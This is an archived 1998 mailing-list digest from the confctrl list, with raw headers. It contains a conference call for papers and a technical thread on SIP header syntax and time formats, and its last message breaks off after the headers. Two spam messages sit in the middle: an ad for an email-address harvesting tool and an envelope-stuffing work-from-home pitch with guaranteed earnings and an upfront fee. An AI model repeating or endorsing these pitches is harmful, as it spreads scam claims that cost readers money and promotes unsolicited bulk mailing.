Dear member of the Multiparty Multimedia Session Control community


We still are looking for some papers for the HPN'98 Conference in Vienna.
Would there be any change that you or somebody else would be able to
submit a contribution within the next two weeks?


Please notify coming submission

With best regards

Harmen R. van As



<center>

CALL FOR TUTORIALS

CALL FOR PAPERS


DEADLINE EXTENDED BUT NOTIFY COMING SUBMISSION

-----------------------------------------------------------

8th IFIP Conference on High Performance Networking (HPN'98)

The Millennium Push of Internet

     =20

Vienna University of Technology, Vienna, Austria

September 21-25, 1998

------------------------------------------------------------



http://www.ikn.tuwien.ac.at/IKN/events/hpn-cfp.html


March 15, 1998: Tutorial proposal

March 15, 1998: Paper submission


April 15, 1998: Notification

May 15, 1998: Camera-ready paper

=20

Conference book published by Chapman & Hall


</center>

Paper submission:

preferably postscript file attached to email=20

otherwise 5 copies of paper by postal mail




Topics of interest:=20


- Trends of Internet/Intranet Technologies=20

- Next Generation Internet, Evolutionary approaches=20

- Fast Internet (ADSL, HDSL, VHDSL, PONs)=20

- Cable Network, Wireless and Satellite Access=20

- Next Generation Routers, Tag Switching=20

- Bypass Tunneling (SDH, Photonics)  =20


- Network/System Architecture and Design=20

- Cache Server Allocation and Interconnection=20

- Network Availability, Automatic Reconfiguration=20

- Coporate Networks, Global Networking  =20


- Security in Internet, Network/System Security=20

- Network Management using Internet=20

- WWW and Java Network Service Management=20

- Distributed Systems Management in Internet=20

- Interworking with ATM, ISDN, and LANs=20

- System Interoperability  =20


- Internet Mobility Support, Mobility Management=20

- Mobile-IP, Mobile-IPv6=20

- Mobile Agents, Intelligent/Smart Agents=20

- Flow Control, Traffic Monitoring and Control=20

- Adressing and Routing  =20


- Advanced Internet Protocols (RTP, RSVP)=20

- Multicast Protocols=20

- Protocol Design, Combined ATM and IP=20

- Secure Protocols (S-HTTP, SSL, SET)=20

- Internet Tunneling  =20


- Quality of Service, Service Level Guarantees=20

- Resource Management=20

- Real-Time Services over Internet=20

- IP Telephony, Voice over Internet=20

- Teleconferencing, Broadband Internet=20

- Integrated Services Internet=20

- Internet in Multimedia Environments=20

- Heterogenous Distributed Environments  =20


- Internet Groupware and Cooperative Work=20

- Information Management over Internet=20

- Electronic Commerce, Online-Marketing=20

- Internet Payment Systems, Webcasting=20

- WWW Servers, Tele-Service-Systems=20

- Internet Servers (Data-Base, Cache, Archive)=20

- High-Performance Tele-Activities=20

- Social Impacts, Opportunities and Threats=20



INTERNATIONAL PROGRAM COMMITTEE:=20


General Chair:=20

Harmen R. van As, Vienna University of Technology, Austria=20


Ian Akyildiz, Georgia Tech, USA=20

Torsten Braun, Univ. of Berne, CH=20

Augusto Casaca, INESC, Portugal=20

Andre Danthine, Univ. Liege, Belgium=20

Michel Diaz, Univ. Toulouse, France=20

Christophe Diot, INRIA, France=20

Otto Duarte, Univ. Fed. Rio de Janeiro, Brazil=20

J=F6rg Ebersp=E4cher, Techn. Univ. Munich, Germany=20

Serge Fdida, Univ. Paris VI, France=20

Zygmunt Haas, Cornell University, USA=20

Marjory Johnson, NASA-RIACS, USA=20

Paul K=FChn, Univ. Stuttgart, Germany=20

Ralf Lehnert, Dresden Univ. of Technology, Germany=20

Helmut Leopold, Alcatel, Austria=20

Kurt Maly, Old Dominion Univ., USA=20

Olli Martikainen, Helsinki Univ. of Technology, Finland=20

Georg Mittenecker, Vienna Univ. of Technology, Austria=20

Hussein Mouftah, Queens Univ., Canada=20

Ignas Niemegeers, Univ. of Twente, The Netherlands=20

Guru Parulkar, Washington U. St. Louis, USA=20

Stephen Pink, SICS, Sweden=20

Radu Popescu-Zeletin, GMD Fokus, Germany=20

Ramon Puigjanier, Univ. Illes Balears, Spain=20

Guy Pujolle, Univ. Versailles, France=20

Doug Shepherd, Univ. Lancaster, UK=20

Thomas Sommer, Vienna Univ. of Technology, Austria=20

Otto Spaniol, Univ. Aachen, Germany=20

Ralf Steinmetz, Techn. Univ. Darmstadt, Germany=20

Ahmed Tantawi, IBM Res., Yorktown Heights, USA=20

Fouad Tobagi, Stanford Univ., USA=20

Samir Tohm=E9, ENST, France=20

Giorgio Ventre, Univ. Napoli, Italy=20

Martina Zitterbart, Univ. Braunschweig, Germany=20



----------------------------------------------------------------------------

Prof.Dr. Harmen R. van As              Institute of Communication Networks

                                       Vienna University of Technology

Tel  +43-1-58801-5246                  Gusshausstrasse 25/388

Fax  +43-1-5870583                     A-1040 Vienna, Austria

email: Harmen.R.van-As@tuwien.ac.at    http://www.ikn.tuwien.ac.at=20

----------------------------------------------------------------------------

From confctrl-owner  Sat Apr 18 20:33:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA09871
	for confctrl-outgoing; Sat, 18 Apr 1998 20:33:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA09860
	for <confctrl@zephyr.isi.edu>; Sat, 18 Apr 1998 20:33:50 -0700 (PDT)
Received: from po.globe.or.jp (ns01.globe.or.jp [210.135.160.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA20544;
	Sat, 18 Apr 1998 20:33:48 -0700 (PDT)
Received: from jj3dw3.q3q3665f.com (206-18-115-218.la.inreach.net [206.18.115.218]) by po.globe.or.jp (8.7.1+2.6Wbeta4/3.5Wpl7) with SMTP id MAA24381; Sun, 19 Apr 1998 12:31:40 +0900 (JST)
Date: Sun, 19 Apr 1998 12:31:40 +0900 (JST)
From: 44vv33vv <44vv33vv@msn.com>
To: <confann@uia.be>
Received: from SMTP.XServer	(Smail4.1.19.1 #20) id m0wBzN7-009vdR; Saturday, May 2nd, 1998
Received: from mail.apache.net(really [164/187]) by relay.comanche.com Thursday, April 30th, 1998
Received: from 32776.21445(really [80110/80111]) by relay.denmark.nl Tuesday, April 28th, 1998
Received: from local.nethost.org(really [24553/24554]) by relay.SS621.net Monday, April 27th, 1998
Message-Id: <19943672.886214@relay.comanche.denmark.eu> Sunday, May 3rd, 1998
Reply-To: 44vv33vv@msn.com
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Authenticated sender is <44vv33vv@msn.com>
Subject:  Sunday
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

EMAIL MARKETING WORKS!!

Bull's Eye Gold is the PREMIER email address collection tool.
This program allows you to develop TARGETED lists of email
addresses.  Doctors, florists, MLM, biz opp,...you can collect
anything...you are only limited by your imagination!  You can
even collect email addresses for specific states, cities, and
even countries!  All you need is your web browser and this program.
Our software utilizes the latest in search technology called
"spidering". By simply feeding the spider program a starting
website it will collect for hours. The spider will go from website
to targeted website providing you with thousands upon thousands of
fresh TARGETED email addresses. When you are done collecting,  the
spider removes duplicates and saves the email list in a ready to
send format. No longer is it necessary to send millions of ads to
get a handful of responses...SEND LESS...EARN MORE!!!

A terrific aspect of the Bull's Eye software is that there is
no difficult set up involved and no special technical mumbo-jumbo
to learn. All you need to know is how to search for your targeted
market in one of the many search engines and let the spider do the
rest! Not familiar with the search engines? No problem, we provide
you with a list of all the top search engines. Just surf to the
location of a search engine on your browser then search for the
market you wish to reach...it's that easy!

For instance if you were looking for email addresses of Doctors
in New York all you would do is:

1) Do a search using your favorite search engine by typing in
the words doctor(s) and New York
2) Copy the URL (one or more)...that's the stuff after the
http://...  for instance it might look like
http://www.yahoo.com/?doctor(s)/?New+York
3) Press the START button

THAT's IT!!!  The Bull's Eye spider will go to all the websites
that are linked, automatically extracting the email addresses
you want.

The spider is passive too! That means you can let it run all
day or all night while you are working on important things or
just having fun on your computer. There is no need to keep a
constant watch on it, just feed it your target market and give
it praise when it delivers thousands of email addresses at
the end of the day!

Features of the Bull's Eye Software:

* Does TARGETED searches of websites collecting the email
  addresses you want!
* Collects Email addresses by City, State, even specific
  Countries
* Runs Automatically...simply enter the Starting information,
  press The Start Button, and it does the rest
* Filters out duplicates
* Keeps track of URLs already visited
* Can run 24 hours per day, 7 days per week
* Fast and Easy List Management
* Also has built in filtering options...you can put in words
  that it "Must" have while searching,...you can even put in
  criteria that it  "Must NOT Have"...giving you added flexibility
* Also imports email addresses from any kind of files (text
  files, binary files, database files)
* List editor handles Multiple files to work on many lists
  simultaneously
* Has a Black-Book feature... avoid sending emails to people
  who do not want to receive it
* Built-in Mail program...send email directly on the internet
  with just a click of your mouse
* Personalized Emails...if the email address has the user's
  name when it is collected,..you can send Personalized emails!!!
* Sort by Location, Server, User Name, Contact Name
* Advanced Operations:
· Email address lists export in many different formats
  (HTML, Comma delimited, text file)
· Advanced editing...Transfer, Copy,  Addition, Delete, Crop,
  Move to Top/Bottom
· Operations between lists...Union, Subtraction, Comparison
* Program is Passive,...meaning you can run other programs at
  the same time

CALL FOR MORE INFORMATION   213-980-7850
CALL FOR MORE INFORMATION   213-980-7850

ORDERING INFORMATION

Customer Name
Company Name
Address
City
State                       Zip
Phone                                       Fax
Email Address

______ BULL'S EYE SOFTWARE   $259.00
Includes Software, Instructions, Technical Support

______ Shipping & Handling  (2-3 Day Fedex)  $10.00
                           (Fedex Overnite) $20.00

______  TOTAL
                 (CA Residents add applicable sales tax)

*All orders are for Win 95 and Win NT

                *****CREDIT CARDS ACCEPTED*****
                   MASTERCARD   VISA   AMEX

   PLEASE CALL 213-980-7850 to process your order
                        9am-5pm Pacific Time
                Checks or Money Orders send to:
                      WorldTouch Network Inc.
5670 Wilshire Blvd.  Suite 2170 Los Angeles, CA 90036
Please note:  Allow 5 business days for all checks to
clear before order is shipped.



From confctrl-owner  Sat Apr 18 23:50:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA11511
	for confctrl-outgoing; Sat, 18 Apr 1998 23:50:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA11506
	for <confctrl@zephyr.isi.edu>; Sat, 18 Apr 1998 23:50:36 -0700 (PDT)
Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA23656
	for <confctrl@ISI.EDU>; Sat, 18 Apr 1998 23:50:34 -0700 (PDT)
From: CoryA@hotmail.com
Received: from danquibe (ppp3095.on.bellglobal.com [206.172.223.23])
	by smtp11.bellglobal.com (8.8.5/8.8.5) with SMTP id CAA13177;
	Sun, 19 Apr 1998 02:24:18 -0400 (EDT)
Date: Sun, 19 Apr 1998 02:24:18 -0400 (EDT)
Received: from login_0122.ybecker.net (mail.ybecker.net[204.126.205.203]) by ybecker.net (8.8.5/8.7.3) with SMTP id XAA01999 for CoryA@hotmail.com;  Sun, 19 April 1998 02:26:53 -0700 (EDT)
To: you@yourdomain.net
Subject: I thought you might be interested
Reply-To: CoryA@hotmail.com
X-PMFLAGS: 20720340.50
X-UIDL: 20720340_201230.501
Comments: Authenticated Sender is <CoryA@hotmail.com>
Message-Id: <65222285_85584132>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,
Would you like to earn an extra $700 a week... $2,800 a month just by
mailing our business circulars from your home? You can make this kind
of money without even giving up your present job. We have created the
most risk-free way to do this, and all you have to do is mail out our
business circulars and get paid for your work. This exciting new home
employment opportunity is so effective - yet quick and easy that your
success is absolutely GUARANTEED!

We Publish, sell and distribute information booklets, guides, reports,
manuals and computer software all across Canada and the United States.
Since we do the majority of our business by mail, we in turn send out
thousands of our sales circulars each week.Our company circulars are
the sales letters/product offers that are sent out in response to
customer inquiries. When you mail our circulars, you'll be greatly
helping us by getting our offers out to more customers.

You'll be taking part in the most remarkable opportunity available.
Our system of mailing circulars is very easy to operate. All you will
be doing is taking copies of the standard, letter-sized (8 1/2"x11")
circulars that we provide you with and fold them to fit into the
envelopes you will receive. After you have folded and inserted the
circulars into the envelopes, you just have to seal the envelopes and
deposit them in your mail. You will not have to spend any time
addressing envelopes or pay any postage costs to mail out our
circulars, because all envelopes will arrive pre-addressed and with
postage already in place. It should only take you a few hours a week.
It's as simple as that! Circular mailing is easy and pleasant work
that is very profitable!

We have developed a legitimate and realistic money-making business
system that is practical and uncomplicated. Simple enough that
anyone can take part in it regardless of education, age, physical
ability or disability. Our program is easy to understand, with
step-by-step instructions that are sure to get you started quickly
and with confidence.

This is a highly fool-proof, tried, tested and proven method that
you can run from the comfort and privacy of your own home - without
any personal contact with anyone at any time. You can take part in
our program any hour of the day... any day of the week. We do not
require that you have any related experience to take part in our
program. All that we want are serious minded people who can read and
write simple English, and who are able to put in a few extra hours
each week towards earning a great income. Although you don't need 
any experiance, it is important that you be ambitious and motivated
because you will be working on your own - without supervision.
It will be your responsibility to get your work done.

You do not have to meet a certain quota each week, and we do not 
impose any restrictions on the amount of work that you choose to do.
Our Circular Mailing Program allows you the complete flexibility to
organize and choose your own work load and work schedule. You can
work part-time or full-time, and you are always free to take a break
from your work - planning your own time off. Furthermore, you may
quit the program at any time, since you will be an independent mailer
and have no obligation to our company what-so-ever.

Home employment is wonderful. It can provide you with a great sense
of accomplishment, pride and freedom - but you must remember to
treat your work seriously and with respect. What you get out of our
program is exactly what you put into it. Earn as much or as little
as you like - it's all up to you. You can start the same day you 
receive our supplies and information package, and begin receiving
money within 2 weeks time, and every week from then on for as long
as you desire to participate in our program.

Thousands of people all over Canada and the United States are making
excellent money mailing circulars from their homes. You can join our
successful network, of circular mailers and get your share of this
money too! It makes no difference if you live in a small town or a
large city. As long as you can get to a mailbox to mail the circulars,
you can participate in this great home income opportunity.

Anyone with a little common sense and a desire to succeed can take
part in our program and earn excellent income for themselves in a
very short period of time. One of the nicest things about our circular
mailing program is hoe quickly it works. You can start the same day
you receive our supplies and information package, and begin receiving
money within 2 weeks time, and then for as long as you decide to
participate in our program. Imagine never having to leave your home
while making more money in a few hours than a lot of people earn
after a full week's work! In fact, you can be making great money in
as little as 10 hours a week!

And remember, you don't need any special education of experience.
This program can work for anyone - regardless of background, age or
location. Just mail the circulars and spend the rest of the day
enjoying yourself. Imagine being able to work in the comfort of
your own home, at your own pace and in your leisure with a simple
system to earn $700.00 a week working only a few hours a week... it's
a great place to start.

You really don't have to work hard to get ahead in life - you just
have to work SMART. By following our easy steps, you will connect
with making $700 a week - every week. We'll even show you how you
can increase an income of $700.00 a week into as much as $1,000.00
a week or more with ease. It's very simple and it's very realistic.
With the basic details we've outlined, you'll easily see the
incredible income potential right away. This program is so well
thought out and developed that YOU CANNOT FAIL to make great money!

Above all, we really want you to understand that this is not some
lucky gimmick that only looks good on paper or that has only worked
for a select group of individuals. Everything that you've read has
been and is being done SUCCESSFULLY by a lot of people most of whom
started out from the kitchen table, with almost nothing. So there is
no doubt that you can duplicate the same success. You too can get
started working from the kitchen table, or spare desk in your house
or apartment making great money while dressed in a sweat shirt and
a pair of jeans, enjoying a nice cup of coffee at your leisure.
That's the beauty of being in direct control of your affairs... It's
all 100%, entirely up to you!

You'll be able to set up your operation so that you can have all the
free time in the world to do with as you please, without anyone
looking over your shoulder. If you choose , you'll only have to work
at your affairs for about an hour or two a day, and these will turn
out to be extremely easy, fun hours, with no boss snooping around and
no one to answer to. Believe this, after you spend the small amount
of up-front time getting organized, setting up your own system,
you'll soon realize that nothing could be easier, or offer you more
privacy and personal freedom!

Unlike others who you might see promoting the same old useless
stuff - year in and year out, we have developed a unique approach
which has never been released to the public by anyone else.
Cybermarketing is the only source for this valuable program. So
please don't confuse it with any of the other get-rich-quick schemes
or ads you might see. If you're searching for an honest to goodness,
legitimate, legal and spare time work at home opportunity, then your
search has finally ended. This is a 100% proven Money-Making
Program! PROVEN to make good money for everyone who uses it!

If you're like most folks, you're going to absolutely love our 
Circular Mailing Program because it's the most legitimate, 
"on-the-level", easy to start, profitable work-from-home opportunity
ever created! We say this honestly because IT REALLY WORKS! You 
won't find any gimmicks, surprises or silly schemes. Only valuable
information that you'll need so you can quickly learn exactly WHAT
TO DO and HOW TO DO IT; and our proven , professionally written
circulars.

Our Circular Mailing Program can bring you all the money you need.
When you receive our start up package in the mail, you will get all
the supplies you need to get started right away including your 
Personal Information Kit (your complete instructional handbook) and
our business circulars. You will receive everything as promised.
And don't forget you will not have to pay postage costs to mail our
circulars because envelopes will arrive completely addressed and
with postage already in place. Just mail out the circulars and
receive pay cheques that are yours to spend any way you wish! You can
take part in our program for as long as you want... earn $700 a week
for the rest of your life.

We can only accommodate a limited number of people in our unique
program. So if you are interested, please do not delay. Send in 
your acceptance form as soon as you can. You have our guarantee that
this program can change your life practically overnight. We know of
no other home employment opportunity with the potential to make the
great amounts of money that this program does.

This is a complete home-based opportunity that REALLY WORKS. Our
only requirement is a one time only, fully refundable payment of
only $27.00 . This payment covers the cost of your supplies and
the processing of your membership. This is a one-time payment, you
will not have to pay us any other costs to get additional materials.
And because we're so sure that we have the right home employment
opportunity for you, we are backing up our promises with our
exclusive guarantee...

   $33,600.00 Guarantee

You can easily earn $33,600.00 in the next year with our program.
In fact, we are so confident that you can make over $700 a week 
mailing out our circulars that we are going to offer you the most 
air-tight guarantee in existence. As soon as you receive our start
up package in the mail, send out our circulars right away. If you
don't start earning a minimum of $700 a week within 30 days, simply
return our materials for a COMPLETE REFUND. You either make $700 a
week or your money back!

Join our network of circular mailers today. We truly want to help
you get started as quickly as possible this program is especially
designed for people who are serious about earning a substantial 
income. We are convinced that you will be absolutely thrilled when
you see just how much money you can make with our program. We've
got your start-up kit all packaged up and ready to go. Just give
us the word and we'll have it out the door and on its way to you.
If you follow our instructions, you will be well on your way to
earning $700 per week by mailing circulars from home. Just fill out
after printing the Exclusive Membership Form at the bottom of this
page and mail it in with your remittance and your order will be 
rushed to you right away by first class mail.

We hope that you allow us the honor of being the ones who helped 
you to achieve long-term financial success and personal freedom.

 Most sincerely,
	
 The Home Employment Staff,
 
------------------------------------------------------------------
   HOME MAILERS PROGRAM ORDER-FORM
------------------------------------------------------------------
------------------------------------------------------------------
Please RUSH me my Package of the HOME MAILERS PROGRAM and the HOME
BUSINESS DIRECTORY right away!!! I have included my one time fee of
only $27.00 U.S Funds to cover the needed information to get started.
(Includes Postage & Handling)
     
                                
                         NAME:______________________________________
MAIL TO: Cory Altelaar
81 St. Patrick St.       ADDRESS:___________________________________
Lindsay, Ontario,
Canada, K9V 1R4          CITY:_________________STATE/PROVINCE:______

	                 ZIP/POSTAL CODE:___________________________
                 
	                 E-MAIL ADDRESS:____________________________
	             
     (Orders payable by cheque please allow 4-6 weeks for delivery.)

--------------------------------------------------------------------
--------------------------------------------------------------------

From confctrl-owner  Sun Apr 19 16:03:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA18191
	for confctrl-outgoing; Sun, 19 Apr 1998 16:03:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA18186
	for <confctrl@zephyr.isi.edu>; Sun, 19 Apr 1998 16:03:58 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12381;
	Sun, 19 Apr 1998 16:03:55 -0700 (PDT)
Received: from leonia (usr43-dialup54.mix2.Boston.mci.net [166.55.77.182]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA11475; Sun, 19 Apr 1998 19:03:50 -0400 (EDT)
Message-ID: <353A82DA.A62F9AE7@cs.columbia.edu>
Date: Sun, 19 Apr 1998 19:03:54 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: SIP: To, From syntax
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Problem: Currently, the To, From and Location fields have no convenient
way to indicate a "display name", i.e., something more suitable for user
interface rendition. The currently suggested method, a comment in
parentheses, in deprecated in draft-ietf-drums-msg-fmt-04.txt.

Solutions:

(1) Ignore DRUMS (since we don't have the historical baggage) and leave
the current method

To: sip:j.doe@acme.com (John Doe)

(2) Allow the DRUMS syntax

To: John Doe <sip:j.doe@acme.com>

<> are suggested URL bracketing characters, so this doesn't stray too
far from URL usage, but it is harder to parse.

I prefer (1).

From confctrl-owner  Mon Apr 20 06:34:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26775
	for confctrl-outgoing; Mon, 20 Apr 1998 06:34:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26770
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 06:34:08 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA01442
	for <confctrl@isi.edu>; Mon, 20 Apr 1998 06:34:06 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Apr 20 09:33:01 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id JAA07402;
	Mon, 20 Apr 1998 09:32:52 -0400 (EDT)
Message-ID: <353B4E1B.B853B7BE@dnrc.bell-labs.com>
Date: Mon, 20 Apr 1998 09:31:07 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP: To, From syntax
References: <353A82DA.A62F9AE7@cs.columbia.edu> <353AB947.28CA779F@dnrc.bell-labs.com> <353B44E0.8BB82F1@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:

> (1) Ignore DRUMS (since we don't have the historical baggage) and leave
> the current method
>
> To: sip:j.doe@acme.com (John Doe)
>
> 2) Allow the DRUMS syntax
>
> To: John Doe <sip:j.doe@acme.com>
>
> <> are suggested URL bracketing characters, so this doesn't stray too
> far from URL usage, but it is harder to parse.
>

It doesn't seem much harder to parse; just look for the < character;
anything before is the display name, and after until > is the URL. (or
is it harder to parse since we want to allow both?) I would rather think
its more important to align with drums to keep the advantage SIP has of
being able to use the same parser as for web and email.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Apr 20 06:56:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA27053
	for confctrl-outgoing; Mon, 20 Apr 1998 06:56:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA27048
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 06:56:36 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01860
	for <confctrl@isi.edu>; Mon, 20 Apr 1998 06:56:34 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA20069 for <confctrl@isi.edu>; Mon, 20 Apr 1998 09:56:33 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA26983 for <confctrl@isi.edu>; Mon, 20 Apr 1998 09:56:32 -0400 (EDT)
Message-ID: <353B5410.1FA0F645@cs.columbia.edu>
Date: Mon, 20 Apr 1998 09:56:32 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Expires, Retry-After
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Issue: Currently, SIP allows both relative and absolute times (delta
seconds and HTTP-Date as in "Mon, 20 Apr 1998 09:25:49 -0400") for the
Expires and Retry-After headers. This corresponds to the HTTP/1.x
conventions for fields of the same name. It has been argued that the
absolute form is harder to parse, particularly in Internet appliances
and that we should restrict SIP to only use the delta-seconds form.

The two are functionally equivalent (as far as I can tell).

In some circumstances, HTTP-date may be easier to present for small
devices [probably only relevant for Retry-After, where a value of 834848
is not particularly meaningful for user display and 9.66 days only
marginally so.]

From confctrl-owner  Mon Apr 20 15:40:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA18203
	for confctrl-outgoing; Mon, 20 Apr 1998 15:40:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA18198
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 15:40:36 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA03362
	for <confctrl@isi.edu>; Mon, 20 Apr 1998 15:40:34 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id SAA21355;
	Mon, 20 Apr 1998 18:40:03 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id SAA27511;
	Mon, 20 Apr 1998 18:40:02 -0400 (EDT)
Date: Mon, 20 Apr 1998 18:40:02 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980420184002.ZM27509@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "SIP: Expires, Retry-After" (Apr 20,  9:56am)
References: <353B5410.1FA0F645@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP: Expires, Retry-After
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

At this stage, it is more important to get a first version of SIP 
published than to try minor adjustments.  Let's concentrate on the
real problem, i.e. fining a proper security architecture, and 
go to WG last call.  The more you delay, the more this work is
becoming irrelevant.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Mon Apr 20 19:49:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA25262
	for confctrl-outgoing; Mon, 20 Apr 1998 19:49:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA25255
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 19:49:25 -0700 (PDT)
Received: from beta.mcit.com (beta.mcit.com [199.249.19.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16487
	for <confctrl@ISI.EDU>; Mon, 20 Apr 1998 19:49:24 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by beta.mcit.com (8.8.8/) with ESMTP
	  id VAA10746; Mon, 20 Apr 1998 21:48:52 -0500 (CDT)
Received: from nmss1a.mcit.com.mci.com (nmss1a.mcit.com [166.37.172.5])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id WAA05691; Mon, 20 Apr 1998 22:48:51 -0400 (EDT)
Received: from sinnreich2 ([166.41.36.85]) by nmss1a.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980421024851.GBO5781@[166.41.36.85]>;
          Mon, 20 Apr 1998 22:48:51 -0400
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Christian Huitema" <huitema@bellcore.com>,
        "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>,
        <confctrl@ISI.EDU>
Subject: RE: SIP: Expires, Retry-After
Date: Mon, 20 Apr 1998 21:47:53 +0200
Message-ID: <000001bd6c95$35d32980$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <980420184002.ZM27509@seawind.bellcore.com>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3007.0
